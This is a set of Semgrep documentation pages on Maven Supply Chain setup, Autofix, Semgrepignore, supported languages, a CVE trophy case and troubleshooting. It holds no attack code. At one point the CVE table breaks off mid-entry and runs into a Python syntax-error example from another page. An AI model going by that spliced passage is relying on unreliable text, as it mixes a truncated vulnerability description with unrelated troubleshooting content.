Source: https://docs.semgrep.dev/semgrep-supply-chain/setup-maven
**INFO**
Semgrep Supply Chain supports the scanning of Java projects built using Maven or Gradle Wrapper **without the need for lockfiles**. Learn more about [scanning your project without generating a Maven dependency tree](/semgrep-supply-chain/set-up-and-configure#dynamic-dependency-resolution-beta).
Semgrep Supply Chain does not read `pom.xml` files to parse Maven projects. Instead it parses a dependency tree generated by Maven (`mvn`).
The **general steps** to enable Semgrep Supply Chain to correctly parse Maven projects are as follows:
Generate a file outlining the project's dependency tree by adding the following command to your build pipeline:
```bash theme={null}
mvn dependency:tree -DoutputFile=maven_dep_tree.txt
```
For specific steps to add the command into your build pipeline, refer to your CI provider's documentation.
For each `pom.xml` file with dependencies you want to scan, create additional dependency trees in their respective directories. Semgrep Supply Chain can detect and parse them all.
Run the Semgrep workflow, action, or step after the dependency tree or trees have been generated.
**CAUTION**
* Ensure that Maven is installed in the build environment that is used to generate the dependency trees.
* Ensure that you generate dependency trees before running Semgrep.
* This approach works for full scans. It does not work for [diff-aware scans](/deployment/customize-ci-jobs#set-up-diff-aware-scans) because the generated file is not tracked by Git.
You can perform the general steps in a local environment for testing. The following screenshot displays the commands running in a local environment:
## Scanning Apache Maven projects with specific CI providers
This section describes steps to set up Apache Maven with specific CI providers.
## GitHub Actions
To successfully run a Semgrep Supply Chain scan in GitHub Actions, the GitHub Actions workflow must generate all dependency trees in one job and then run Semgrep after.
### Sample GitHub Actions Maven workflow
In the following code snippet, dependency trees are shared between the two jobs through a zip file that gathers all the lockfiles and, in the next job, unzips the lockfiles and runs Semgrep as usual.
```yaml expandable theme={null}
on:
workflow_dispatch:
pull_request: {}
push:
branches:
- master
paths:
- .github/workflows/semgrep.yml
name: Semgrep
jobs:
buildmavenDepTree:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v6
- name: Set up JDK 11
uses: actions/setup-java@v3
with:
java-version: '11'
distribution: 'temurin'
- name: Build Dependency Tree
# The mvn command traverses the repository and generates a dependency tree for each pom.xml file
run: mvn dependency:tree -DoutputFile=maven_dep_tree.txt -Dmaven.test.skip=true
- name: Create Zip File
run: find . -type f -name 'maven_dep_tree.txt' -exec zip -r archive.zip {} +
- name: Upload Dependency Zip
uses: actions/upload-artifact@v3
with:
name: zipfile
path: archive.zip
semgrep:
needs: buildmavenDepTree
name: Scan
runs-on: ubuntu-latest
env:
SEMGREP_APP_TOKEN: ${{ secrets.SEMGREP_APP_TOKEN }}
container:
image: semgrep/semgrep
steps:
- uses: actions/checkout@v6
- name: Download artifact from the previous job
uses: actions/download-artifact@v3
with:
name: zipfile
- name: Semgrep Scan
run: |
unzip -o archive.zip
semgrep ci
```
The following code snippet is intended for repositories with a single `pom.xml` file.
```yaml expandable theme={null}
on:
workflow_dispatch:
pull_request: {}
push:
branches:
- main
paths:
- .github/workflows/semgrep.yml
name: Semgrep
jobs:
buildmavenDepTree:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v6
- name: Set up JDK 17
uses: actions/setup-java@v3
with:
java-version: '17'
distribution: 'temurin'
- name: Build with Maven
run: mvn --batch-mode --update-snapshots package
- name: Build Dependency Tree
run: mvn dependency:tree -DoutputFile=maven_dep_tree.txt
- name: Upload Dependency Tree Artifact
uses: actions/upload-artifact@v3
with:
name: mavendeptree
path: maven_dep_tree.txt
semgrep:
needs: buildmavenDepTree
name: Scan
runs-on: ubuntu-latest
env:
SEMGREP_APP_TOKEN: ${{ secrets.SEMGREP_APP_TOKEN }}
container:
image: semgrep/semgrep
steps:
- uses: actions/checkout@v6
- name: Download artifact from previous job
uses: actions/download-artifact@v3
with:
name: mavendeptree
- run: semgrep ci
```
To **request support for your CI provider**, join the [Semgrep Community Slack](https://go.semgrep.dev/slack) group to ask the maintainers and the community.
# Triage and fix Supply Chain findings
Source: https://docs.semgrep.dev/semgrep-supply-chain/triage-and-fix/overview
Once Semgrep Supply Chain successfully scans your repository and you've [viewed your results](/semgrep-supply-chain/findings), you can assess, triage, and fix the findings presented in Semgrep AppSec Platform using the **Supply Chain** page.
**PREREQUISITE**
At least one repository that scans for dependencies through Semgrep Supply Chain. See [Scan third-party dependencies](/semgrep-supply-chain/set-up-and-configure).
Semgrep provides the following methods to help you evaluate your findings:
| Assessment action | Method |
| :--------------------------------------------------------------------------------------------------------------------- | :-------------------------------------------------------------------- |
| Filter findings. | In **Semgrep AppSec Platform > Supply Chain** page, click any filter. |
| View specific CVE entries on cve.org. | Click the Supply Chain finding's CVE badge. |
| View specific pattern matches in your codebase. | View a Supply Chain finding's **Details** page. |
| View the [dependency path for a transitive dependency](/semgrep-supply-chain/dependency-search#dependency-paths-beta). | View the Supply Chain finding's **Details** page. |
| View safe versions to upgrade your dependencies. | View the Supply Chain finding's **Details** page. |
The following actions are available to you after you've assessed the findings:
* [Ignore findings](#ignore-findings) that you deem to be false positives, acceptable risks, or deprioritized findings.
* [Fix findings that are true positives](#fix-findings-that-are-true-positives) by:
* [Removing the dependency and refactoring the code](#remove-the-dependency-and-refactor-the-code).
* [Using Upgrade guidance and Autofix to update the dependency to a safe version](#using-upgrade-guidance-and-autofix-to-update-the-dependency-to-a-safe-version).
## Ignore findings
The **Supply Chain** tab allows you to identify reachable true positives so you can fix or resolve the related issues. However, you can ignore any false positives, acceptable risks, or deprioritized findings:
In Semgrep AppSec Platform, go to [**Supply Chain**](https://semgrep.dev/orgs/-/supply-chain).
Select one or more findings.
Click **Triage > Ignored**.
Provide **Comments** to describe why you're ignoring the selected findings.
Click **Submit**.
## Fix findings that are true positives
To fix findings that are true positives in Semgrep Supply Chain, you can:
* Remove the dependency and refactor the codebase to remove all usage.
* Update the dependency to a safe version that does not contain the vulnerability.
### Remove the dependency and refactor the code
You can remove a dependency that introduces a security vulnerability, then refactor your project to remove all usage of that dependency. Supply Chain scans the pull request or merge request with these changes, detects the updates to your lockfile or manifest file, and updates the status of the finding to **Fixed**.
### Upgrade guidance and Autofix
**Upgrade guidance** uses program analysis and AI to analyze the results of your Semgrep scans to see if you can safely and reliably update a vulnerable package or dependency to a fixed version.
With the information from Upgrade guidance, **Autofix** can open pull requests and merge requests that update the version used by your project and guide you through any breaking changes the update introduces.
See [Upgrade guidance and Autofix](/semgrep-supply-chain/triage-and-fix/upgrade-guidance-and-autofix) for more information.
# Upgrade guidance and Autofix
Source: https://docs.semgrep.dev/semgrep-supply-chain/triage-and-fix/upgrade-guidance-and-autofix
**Upgrade guidance** uses program analysis and AI to analyze the results of your Semgrep Supply Chain scans to see if you can safely and reliably update a vulnerable package or dependency to a fixed version. From there, you can choose to:
* Use **Autofix** and have Semgrep open a pull request (PR) or merge request (MR) that updates the dependency to a fixed version. If the update is a breaking change, Semgrep provides guidance on how to handle it in the PR or MR description.
* Create a Jira ticket to track further work on the finding.
* Set the finding's triage status as **To fix**
## Prerequisites
Upgrade guidance and Autofix are supported for:
* **JavaScript** projects
* **Python** projects that use the following package managers:
* `pip`
* `pip-tools`
* `pipenv`
* `poetry`
* `uv`
You must use one of the following source code managers:
* GitHub Cloud
* GitLab Cloud
Upgrade guidance and Autofix support:
* Public `npm` and PyPI registries
* Private PyPI registries
### Feature availability
To access **all** Upgrade guidance and Autofix features, you must have:
* Enabled Upgrade guidance in Semgrep AppSec Platform by going to [**Settings > General > Supply Chain**](https://semgrep.dev/orgs/-/settings/general/supplyChain), then clicking the **Upgrade guidance & Autofix** toggle.
* At least one repository with [full Semgrep Supply Chain scans](/semgrep-supply-chain/set-up-and-configure).
* Semgrep Multimodal [enabled](/semgrep-multimodal/getting-started).
* Granted Semgrep **Read and write** access to your repository. See [Grant read and write access](/semgrep-appsec-platform/scm-code-access).
* **GitHub users** must have the *private* GitHub app for Semgrep installed. The app must grant [**Read and write** access for the **Contents** scope](#grant-read-and-write-access-to-a-private-github-semgrep-app) to open Autofix PRs. Existing customers must manually enable this permission if they have not already done so.
* Autofix PRs for Supply Chain use the same private GitHub App **Contents: Read and write** permission as [Autofix for Semgrep Code](/semgrep-code/triage-remediation/autofix). See [Grant code access to Semgrep with a private GitHub app](/semgrep-appsec-platform/scm-code-access#grant-code-access-to-semgrep-with-a-private-github-app) for setup steps. For GitHub Autofix API details, see [Autofix permissions](/deployment/prepare/scm-permissions#autofix-github-permissions).
* Optionally: if you have [a private registry, connect it to Semgrep](#connect-a-private-registry-to-semgrep) to improve results.
The following table summarizes the features available to you depending on the prerequisites you meet:
| Semgrep features available | [Read and write access on the `contents` scope granted](#grant-read-and-write-access-to-a-private-github-semgrep-app) | [Code access granted to Semgrep through installation of the private GitHub app](/deployment/managed-scanning/github#permissions) | [Semgrep Multimodal enabled](/semgrep-multimodal/getting-started) | [Private registry connected to Semgrep](#connect-a-private-registry-to-semgrep) | |
| :----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | :-------------------------------------------------------------------------------------------------------------------- | :------------------------------------------------------------------------------------------------------------------------------- | :---------------------------------------------------------------- | :------------------------------------------------------------------------------------ | --------------------- |
| All Autofix and Upgrade guidance features, including:
Upgrade filter for Findings
Upgrade guidance on the Finding Details page
Coupled or blocked upgrade information shown on the Finding Details page
Ability to open a PR to upgrade
| | | | | |
| All Autofix and Upgrade guidance features, but not for dependencies in a private registry:
Upgrade filter for Findings
Upgrade guidance on the Finding Details page
Coupled or blocked upgrade information shown on the Finding Details page
Ability to open a PR to upgrade
| | | | The private registry is not connected to Semgrep | |
| Autofix, but not for dependencies in a private registry:
Ability to open a PR to upgrade
| | | | The private registry is not connected to Semgrep | |
| All Upgrade guidance features, including:
Upgrade filter for Findings
Upgrade guidance on the Finding Details page
Coupled or blocked upgrade information shown on the Finding Details page
| | | | | |
| All Upgrade guidance features, but not for dependencies in a private registry:
Upgrade filter for Findings
Upgrade guidance on the Finding Details page
Coupled or blocked upgrade information shown on the Finding Details page
| | | | The private registry is not connected to Semgrep | |
## How Upgrade guidance works
After you turn on Upgrade guidance, Semgrep performs post-scan analysis on your existing results and marks applicable findings as either **Safe to upgrade** or with **Breaking changes**.
* This analysis is performed after every **full scan**.
* Only findings with dependencies that have **fixed versions** that resolve the vulnerability are marked by Semgrep as **Safe to upgrade** or with **Breaking changes**.
* Findings without any fixed versions say **no patch available**. They do not have a badge.
The following chart illustrates the steps Semgrep performs, from scanning to analysis, and the actions you can take based on the advice it provides.
## Review a finding's Upgrade guidance
To view detailed information about a finding in Semgrep AppSec Platform, use the **navigation bar** to go to the **Supply Chain** page. Click the finding to open its **Details** page.
The **Details** page is divided into several panels:
* General information:
* The name of the package and a description of the finding
* Its reachability, whether it is direct or transitive, its CVE number, EPSS, and severity
* Its remediation version, if any
* Links to references
* A badge indicating if it can cause breaking changes or not (beta)
* Branch and finding history information
* Branches where the finding appears
* Where it was first detected
* AI analysis, if available
* Graphs and code:
* **Your code**: the source file in which a match was detected; the highlight indicates where the match was found
* **Dependency path**: displays the path of dependencies; useful when analyzing transitive dependencies
* **Pattern** and **Rule**: the pattern and rule logic that determined the match
## Open a PR or MR with fixes
After reviewing a finding's Upgrade guidance, you can open a pull request or merge request to upgrade the dependency to a safe version:
Go to the finding's **Details** page.
Click **Fix** > **Open Autofix PR**.
The newly created PR or MR includes the following:
* The lockfile or manifest file changes needed to upgrade the dependency.
* The context necessary for developers to fix potentially breaking changes in the PR or MR's description. This includes:
* A summary including the severity and reachability of the finding and the specific version of the dependency that the PR upgrades to.
* Vulnerability details, including a description of the vulnerability and links to its CVE references.
* Upgrade guidance that includes the files and functions in the code that make use of the dependency and might include breaking changes.
* Dependency references, such as release notes, changelogs, and commits of the dependency, which might be helpful to resolve the breaking changes.
# Semgrepignore v2 reference
Source: https://docs.semgrep.dev/semgrepignore-v2-reference
This document covers the Semgrepignore **v2** target filtering system that replaces the legacy **v1** implementation, referred to as "v1".
## The target filtering process
A `semgrep scan` command takes one or more scan roots as
arguments. The default scan root is the current folder, `.`.
Scan roots are folders, individual files, or named pipes that should be
expanded into a list of regular files to be analyzed. Symbolic links are
allowed as scan roots.
Expanding a folder consists of listing its contents recursively with
the following exceptions:
* Symbolic links other than the original scan roots are ignored.
* In Git projects, Git submodules are ignored.
* Paths excluded via Semgrepignore patterns are ignored. Semgrepignore
patterns can be of different sources which are detailed in the
upcoming section.
The list of files obtained by expanding the scan roots are called
**target files**. To obtain target files, Semgrep follows a
number of fixed rules and some configurable filters.
For each scan root, Semgrep infers a **project root** (v2 only). The
project root determines the location of applicable `.semgrepignore`
files as well as `.gitignore` files in Git projects. In v1 where is no
notion of a project root, the `.semgrepignore` file is unique and
looked up in the current folder.
Semgrep determines the project root for each scan root by first
obtaining the real path (physical path) to the scan root. Then,
Semgrep searches up the file hierarchy for a `.git` folder or
similar used by one of the popular file version control systems
(Git, Mercurial, etc.) indicating a project root.
If no project root is found this way, it
defaults to the scan root itself if it is a folder or to its containing
folder if it is a regular file.
As an experimental debugging aid, Semgrep provides the `--x-ls` option
to list the target files. `--x-ls-long` additionally prints excluded
files and a brief justification. Beware that these two options are
likely to be renamed or change their behavior in the
future. Meanwhile, its typical usage is:
```bash theme={null}
semgrep --x-ls
```
or
```bash theme={null}
semgrep --x-ls --experimental
```
## Sources of Semgrepignore patterns
A Semgrepignore pattern is a glob pattern that is matched by Semgrep
against file paths to determine whether these paths should be allowed or
disallowed as target files.
Semgrep looks up Semgrepignore patterns in the following places:
* command-line `--exclude` and `--include` filters;
* the `.semgrepignore` file in the current folder (v1 only);
* all the `.semgrepignore` files in the project (v2 only);
* all the `.gitignore` files in the project (v2 only);
* default Semgrepignore patterns.
These sources of filters are grouped into precedence levels.
Within a precedence level, a path can be deselected and reselected
any number of times. After applying all the filters within a
precedence level, only the selected paths make it to the next
level. There are two precedence levels:
1. command-line `--exclude` and `--include` filters;
2. default Semgrepignore patterns, `.gitignore` files,
`.semgrepignore` files.
For example, consider this `.semgrepignore` file:
```bash theme={null}
*.c
!hello.c
```
In the absence of `--exclude` or `--include` filters,
`hello.c` will be first deselected by `*.c` and then
reselected by the negated pattern `!hello.c`.
However, if we move the `*.c` exclusion pattern to the command line by
invoking `semgrep --exclude *.c`,
the file `hello.c` is deselected and ignored even if
the `.semgrepignore` file contains `!hello.c`.
In a Git project under Semgrepignore v2, `.gitignore` and
`.semgrepignore` files are consulted in the same order as in the
Gitignore specification. In a folder containing both a `.gitignore`
and a `.semgrepignore` file, the `.gitignore` file is read before the
`.semgrepignore` file.
Default Semgrepignore patterns apply in projects that lack a main
`.semgrepignore` file. In v1, the main `.semgrepignore` file is
expected in the current folder. In v2, it is expected at the project
root. These default patterns are:
```bash expandable theme={null}
# Common large paths
node_modules/
build/
dist/
vendor/
.env/
.venv/
.tox/
*.min.js
.npm/
.yarn/
# Common test paths
test/
tests/
testsuite/
*_test.go
# Semgrep rules folder
.semgrep
# Semgrep-action log folder
.semgrep_logs/
```
## Semgrepignore pattern syntax
In Semgrepignore v2, the pattern syntax conforms to the
[Gitignore pattern
syntax](https://git-scm.com/gitignore#_pattern_format).
They are glob patterns which support `*` and `**` with their usual
meanings. For example, pattern `**/tmp/*.js` matches paths `tmp/foo.js` and
`src/tmp/bar.js`.
Note that the Gitignore specification contains subtleties associated
with determining whether a pattern is anchored (relative to the folder
containing the pattern) or floating (relative to the folder containing
the pattern or any of its subfolders). For
example, `/a` and `a/b` are anchored patterns but not `a/`. Please
consult the Gitignore documentation for details.
As a deviation from the Gitignore syntax, Semgrepignore syntax supports
`:include` directives. `:include` followed by an unquoted file path
relative to the path of folder of the source `.semgrepignore` file
(the current folder in v1) inserts patterns from that file.
A common use case is to insert the line `:include .gitignore` at the
beginning of a `.semgrepignore` file so as to avoid duplicating the
Gitignore patterns. Included files may not contain include
directives.
## Legacy Semgrepignore v1
In Semgrepignore v1, the following exceptions to the v2
specification apply:
* unsupported: pattern negation with `!`
* unsupported: character ranges such as `[a-z]`
* only one `.semgrepignore` file is supported and it must be in the
current folder
Not finding what you need in this doc? Ask questions in our [Community Slack group](https://go.semgrep.dev/slack), or see [Support](/support/) for other ways to get help.
# Support
Source: https://docs.semgrep.dev/support
This document provides various methods for all users of Semgrep to get help.
## Support for Semgrep customers
All paying customers have access to a variety of support channels, technical
documentation, and an active community of Semgrep users to help them make the
most out of their Semgrep subscription.
### Support hours
Semgrep technical support is available 18 hours a day, five days a week, from 8
AM to 1 AM UTC, Monday to Friday, excluding Semgrep-recognized holidays.
### Contact support
All Semgrep customers can contact Semgrep Support through the following methods.
**TIP**
You can also join various **beta programs** through these channels.
#### Slack
Customers with a private Slack channel with Semgrep can open a support case
directly from Slack.
#### Web
Customers who log in to Semgrep AppSec Platform can open a support case
from the [Help section](https://semgrep.dev/orgs/-/support).
#### Email
You can email the Support team at
[support@semgrep.com](mailto:support@semgrep.com). For urgent or high
priority issues, use Slack or [Semgrep AppSec Platform's Help section](https://semgrep.dev/orgs/-/support),
so that you can set the appropriate priority on your issue.
## Support for all Semgrep users (community support)
[Join the Slack community](https://go.semgrep.dev/slack) to chat with the
Semgrep maintainers and support engineers. All users, including Semgrep Community Edition (CE) users and Semgrep AppSec Platform users without a paid subscription plan, are welcome to ask for help in the community Slack group.
Users interested in seeing a proof of concept can also [request a demo](https://semgrep.dev/contact/demo/) or [email Sales](mailto:sales@semgrep.com).
## Semgrep CE support
Users of Semgrep CE can log bugs and feature requests in the
[semgrep](https://github.com/semgrep/semgrep/issues) repository. They can also
ask questions regarding usage, rollouts, and deployments in the [community Slack
group](https://go.semgrep.dev/slack).
## Status page
The [Semgrep status page](https://status.semgrep.dev/) enables users to
subscribe to notifications whenever a service incident is created, updated, or
resolved. Check the status page to see any current or past service incidents or
to review historical uptime.
# Supported languages
Source: https://docs.semgrep.dev/supported-languages
The following table lists all **Generally available (GA)** and **Beta** languages for [Semgrep Code (SAST)](/semgrep-code/overview) and [Semgrep Supply Chain (SCA)](/semgrep-supply-chain/overview).
Languages are arranged by feature completeness from most to least. If applicable, click on the language name to learn more.
**Cross-file (interfile)** analysis for Semgrep Code and **reachability** analysis for Semgrep Supply Chain are the most advanced analyses that Semgrep provides. See [Feature definitions](/references/feature-definitions) for more details.
| **Languages** | **Semgrep Code** Supports 35+ languages | **Semgrep Supply Chain** Supports 14 languages |
| ----------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------ |
| [C#](/languages/csharp) | **Generally available** β’ Cross-file dataflow analysis β’ Supports up to C# 13 β’ 170+ Pro rules | **Generally available** β’ Reachability analysis β’ Can detect open source licenses β’ Can detect malicious dependencies |
| [Go](/languages/go) | **Generally available** β’ Cross-file dataflow analysis β’ 80+ Pro rules | **Generally available** β’ Reachability analysis β’ Can detect open source licenses β’ Can detect malicious dependencies |
| [Java](/languages/java) | **Generally available** β’ Cross-file dataflow analysis β’ Framework-specific control flow analysis β’ 190+ Pro rules | **Generally available** β’ Reachability analysis β’ Can detect open source licenses |
| [JavaScript](/languages/javascript) | **Generally available** β’ Cross-file dataflow analysis β’ Framework-specific control flow analysis β’ 250+ Pro rules | **Generally available** β’ Reachability analysis β’ Can detect open source licenses β’ Can detect malicious dependencies |
| [Kotlin](/languages/kotlin) | **Generally available** β’ Cross-file dataflow analysis β’ 60+ Pro rules | **Generally available** β’ Reachability analysis β’ Can detect open source licenses |
| [Python](/languages/python) | **Generally available** β’ Cross-file dataflow analysis β’ Framework-specific control flow analysis β’ 710+ Pro rules β’ See [Python-specific support details](/languages/python) | **Generally available** β’ Reachability analysis β’ Can detect open source licenses β’ Can detect malicious dependencies |
| Typescript | **Generally available** β’ Cross-file dataflow analysis β’ Framework-specific control flow analysis β’ 230+ Pro rules | **Generally available** β’ Reachability analysis β’ Can detect malicious dependencies β’ Can detect open source licenses |
| C / C++ | **Generally available** β’ Cross-file dataflow analysis β’ 150+ Pro rules | N/a |
| JSX | **Generally available** β’ Cross-function dataflow analysis β’ 70+ Pro rules | **Generally available** β’ Reachability analysis β’ Can detect open source licenses |
| [Ruby](/languages/ruby) | **Generally available** β’ Cross-function dataflow analysis β’ 40+ Pro rules | **Generally available** β’ Reachability analysis β’ Can detect open source licenses β’ Can detect malicious dependencies |
| [Scala](/languages/scala) | **Generally available** β’ Cross-function dataflow analysis β’ Community rules | **Generally available** β’ Reachability analysis β’ Can detect open source licenses |
| [Swift](/languages/swift) | **Generally available** β’ Cross-function dataflow analysis β’ 60+ Pro rules | **Generally available** β’ Reachability analysis β’ Can detect open source licenses |
| Rust | **Generally available** β’ Cross-function dataflow analysis β’ 40+ Pro rules | **Generally available** β’ Reachability analysis β’ Can detect open source licenses β’ Can detect malicious dependencies |
| PHP | **Generally available** β’ Cross-function dataflow analysis β’ 50+ Pro rules | **Generally available** β’ Reachability analysis β’ Can detect open source licenses |
| Terraform | **Generally available** β’ Cross-function dataflow analysis β’ Community rules | N/a |
| Generic | **Generally available** | N/a |
| JSON | **Generally available** | N/a |
| Elixir | **Generally available** | **Beta** |
| APEX | **Beta** | -- |
| Dart | **Experimental** | **Beta** |
* Bash
* Cairo
* Circom
* Clojure
* Dockerfile
* Hack
* HTML
* Jsonnet
* Julia
* Lisp
* Lua
* Move on Aptos
* Move on Sui
* OCaml
* R
* Scheme
* Solidity
* YAML
* XML
## Additional information
Language maturity levels differ from feature and product maturity levels.
* See [Language maturity levels](/references/language-maturity-levels) for maturity definitions used on this document.
* See [Feature definitions](/references/feature-definitions) for analysis terminology definitions used on this document.
* See [Package manager support](/semgrep-supply-chain/requirements-and-feature-support) for Supply Chain dependency metadata support.
* See [Supply Chain feature support](/semgrep-supply-chain/requirements-and-feature-support) for Supply Chain feature coverage by language.
Visit the cheat sheet generation script and associated semgrep-core test files to learn more about each feature:
* [Generation script](https://github.com/semgrep/semgrep/blob/develop/scripts/generate_cheatsheet.py)
* [`semgrep-core` test files](https://github.com/semgrep/semgrep/tree/develop/tests)
# Semgrep trophy case
Source: https://docs.semgrep.dev/trophy-case
This is a list of vulnerabilities found and security fixes made with Semgrep.
Add yours [with a pull request](https://github.com/semgrep/semgrep-docs/blob/main/trophy-case.md)!
| CVEs | | | |
| :---------------------------------------------------------------- | :--------------------------------------------------------------------------------------------------------------------------------------------------------------- | :----------------------- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| **CVE** | **Semgrep rule** | **Affected software** | **Description** |
| [CVE-2025-59034](https://nvd.nist.gov/vuln/detail/CVE-2025-59034) | | Indico v3.3.7 | Insecure direct object reference used to retrieve profile details of other users, circumventing access check. |
| [CVE-2025-29783](https://nvd.nist.gov/vuln/detail/CVE-2025-29783) | [python.lang.security.deserialization.pickle.avoid-pickle](https://semgrep.dev/r?q=python.lang.security.deserialization.pickle.avoid-pickle) | vLLM v0.8.2 | Unsafe deserialization allowed execution of remote code on distributed hosts using Mooncake. |
| [CVE-2019-5479](https://nvd.nist.gov/vuln/detail/CVE-2019-5479) | [javascript.lang.security.detect-non-literal-require](https://semgrep.dev/r?q=javascript.lang.security.detect-non-literal-require) | larbitbase-api \< v0.5.5 | An unintended require vulnerability in \>> if 4 < 5
File "", line 1
if 4 < 5
^
SyntaxError: invalid syntax
>>>
```
To get Python to parse this, you need to add a colon and a code block:
```bash theme={null}
>>> if 4 < 5: print("it works!")
...
it works!
>>>
```
The same way Python's parser cannot parse partial statements or expressions, Semgrep cannot either.
The Semgrep pattern `if $X < 5` is invalid, and needs to be changed to a complete statement with a wildcard: `if $X < 5: ...`
While this is the most common reason for pattern parse errors, other things to verify include:
* Making sure the correct language is indicated in the rule.
* Making sure that any metavariables you use are in all uppercase and does not start with a number. Valid metavariable names include `$X`, `$NAME`, and `$_VAR_2`. Invalid metavariable names include `$name`, `$1stvar` and `$VAR-WITH-DASHES`.
## If your rule doesn't match where it should
In general, it helps to test the patterns within your rule in isolation. If you scan for the patterns individually and they each find what you expect, the issue is with the Boolean logic within your rule. Review the [rule syntax](/writing-rules/rule-syntax) to make sure the operators are meant to behave like you expect. If you managed to find a pattern that behaves incorrectly, continue debugging with the section below.
## If your pattern doesn't match where it should
If you isolated the issue to one specific pattern, here are some common issues to look out for:
* When referencing something imported from a module, you need to fully qualify the import path. To match `import google.metrics; metrics.send(foo)` in Python, your pattern needs to be `google.metrics.send(...)` instead of `metrics.send(...)`.
* If your pattern uses a metavariable, make sure it's all uppercase and does not start with a number. Valid metavariable names include `$X`, `$NAME`, and `$_VAR_2`. Invalid metavariable names include `$name`, `$1stvar` and `$VAR-WITH-DASHES`.
## If a regex pattern doesn't match where it should
* When using `metavariable-regex`, the regex matches against all characters of the found metavariable. This means that if the metavariable matches a `"foo"` string in your code, the `metavariable-regex` pattern runs against a five character string with the quote characters at either end.
* Note that using the pipe (`|`) character appends a newline to your regex! If you are writing `pattern-regex: |` and then a newline with the regex, you almost certainly want the `|-` operator as in `pattern-regex: |-` to remove that trailing newline.
# Troubleshooting the CLI
Source: https://docs.semgrep.dev/troubleshooting/semgrep
## Semgrep exited with code -11 (or -9)
This can happen when Semgrep crashes, usually as a result of memory exhaustion. `-11` and `-9` are the POSIX signals raised to cause the crash.
Review troubleshooting steps for memory exhaustion at [Semgrep scan troubleshooting: Memory usage issues](/kb/semgrep-code/semgrep-scan-troubleshooting/#memory-usage-issues-oom-errors).
## Semgrep is too slow
Semgrep records runtimes for each file and rule. This information is displayed when you include the `--time` flag when running Semgrep. How you choose to interact with the `--time` output depends on your goals.
### I want Semgrep to run faster
Review troubleshooting steps for slow scans at [Semgrep scan troubleshooting: Slow scans](/kb/semgrep-code/semgrep-scan-troubleshooting/#slow-scans).
### I am a contributor who wants to improve Semgrep's engine
Thank you! Check out the [Contributing docs](/contributing/contributing) to get started.
The section [Explore results from a slow run of Semgrep](/contributing/semgrep-core-contributing#explore-results-from-a-slow-run-of-semgrep) is helpful if you haven't previously investigated Semgrep performance.
# Troubleshooting CI scans
Source: https://docs.semgrep.dev/troubleshooting/semgrep-app
This document outlines troubleshooting steps for issues related to **Semgrep scans** in a CI environment. Refer to the following sections if you're seeing results reported on files that have not changed since the last scan, frequent timeouts, or other issues.
For issues on **deployment or CI configuration**, such as adding repositories, see the knowledge base articles in [ Semgrep in CI](/kb/semgrep-ci).
## Reproducing the issue locally
To aid in debugging, you can reproduce some aspects of your Semgrep CI job locally. This enables you to inspect the logs and behavior through your terminal rather than in your CI provider's interface. Perform the following steps:
1. Run the following command in your terminal:
```bash theme={null}
semgrep login
```
2. After logging in, return to the CLI and enter the following:
```bash theme={null}
SEMGREP_REPO_NAME=your-organization/repository-name semgrep ci
```
For example, given a GitHub repository `vulncorp/juice-shop`, the full command would be:
```bash theme={null}
SEMGREP_REPO_NAME=vulncorp/juice-shop semgrep ci
```
When running `semgrep ci`, Semgrep fetches rules and any other configurations specific to your CI environment. Setting `SEMGREP_REPO_NAME` is optional, but ensures that:
* Results are sent to the same project (either a repository or folder in a monorepo) in Semgrep AppSec Platform.
* Any project-specific configurations, such as file ignores, are also respected.
## Troubleshooting GitHub
The first piece of information that the team at Semgrep uses are the **GitHub Actions logs**.
To retrieve a log, perform the following steps:
Navigate to the main page of the GitHub repository you are troubleshooting or scanning.
Click the **Actions** tab.
In the Actions page, click the Semgrep workflow run that you want to retrieve logs for. The name depends on your configuration. By default, it is named **Semgrep**.
**TIP**
Your repository may have different workflow runs, such as linters. To quickly browse through workflow runs, you can also click the name of your workflow, typically **Semgrep** under **Actions** in the navigation bar to view only Semgrep runs.
Click the job name, typically **semgrep/ci**.
You are taken to the specific job page. Click the gear icon **> Download log archive**.
You have successfully downloaded a GitHub Actions log. You can send this as part of your ticket to [Support](/support).
## Troubleshooting GitLab SAST
GitLab SAST includes and maintains a Semgrep integration called [`semgrep-sast`](https://gitlab.com/gitlab-org/security-products/analyzers/semgrep) for vulnerability finding.
**TIP**
Please visit [GitLabβs SAST troubleshooting guide](https://docs.gitlab.com/ee/user/application_security/sast/#troubleshooting) for help with general GitLab SAST issues.
### The `semgrep-sast` CI job is slow
The `semgrep-sast` job should take less than a minute to scan a large project with 50k lines of Python and TypeScript code. If you see worse performance, please [reach out](/support) to the Semgrep maintainers for help with tracking down the cause. Long runtimes are typically caused by just one rule or source code file taking too long. You can also try these solutions:
#### Review global CI job configuration
You might be creating large files or directories in your GitLab CI config's `before_script:`, `cache:`, or similar sections. The `semgrep-sast` job scans all files available to it, not just the source code committed to Git, so if for example you have a cache configuration of
```yaml theme={null}
cache:
paths:
- node_modules/
```
you should prevent those files from being scanned by [disabling caching](https://docs.gitlab.com/ee/ci/caching/#disable-cache-on-specific-jobs) for the `semgrep-sast` job like this:
```yaml theme={null}
semgrep-sast:
cache: {}
```
#### Exclude large paths
If you know which large files might be taking too long to scan, you can use [GitLab SAST's path exclusion feature](https://docs.gitlab.com/ee/user/application_security/sast/#vulnerability-filters) to skip files or directories matching given patterns.
* `SAST_EXCLUDED_PATHS: "*.py"` will ignore the paths at:
`foo.py`, `src/foo.py`, `foo.py/bar.sh`.
* `SAST_EXCLUDED_PATHS: "tests"` will ignore
`tests/foo.py` as well as `a/b/tests/c/foo.py`.
You can use a comma separated list to ignore multiple patterns: `SAST_EXCLUDED_PATHS: "*.py, tests"` will ignore all of the preceding paths.
### `semgrep-sast` reports false positives or false negatives
If you're not getting results where you should, or you get too many results, the problem might be with the patterns Semgrep scans for.
You can review the search patterns in the [rules directory of the `semgrep-sast` analyzer](https://gitlab.com/gitlab-org/security-products/analyzers/semgrep/-/tree/main/rules) and report issues to the GitLab team. Refer to the [Semgrep rule writing tutorial](https://semgrep.dev/learn) to help better understand these rule files. You can also refer to the [Semgrep Registry](https://semgrep.dev/explore) which is a collection of 2,000+ Semgrep rules curated by Semgrep, Inc.
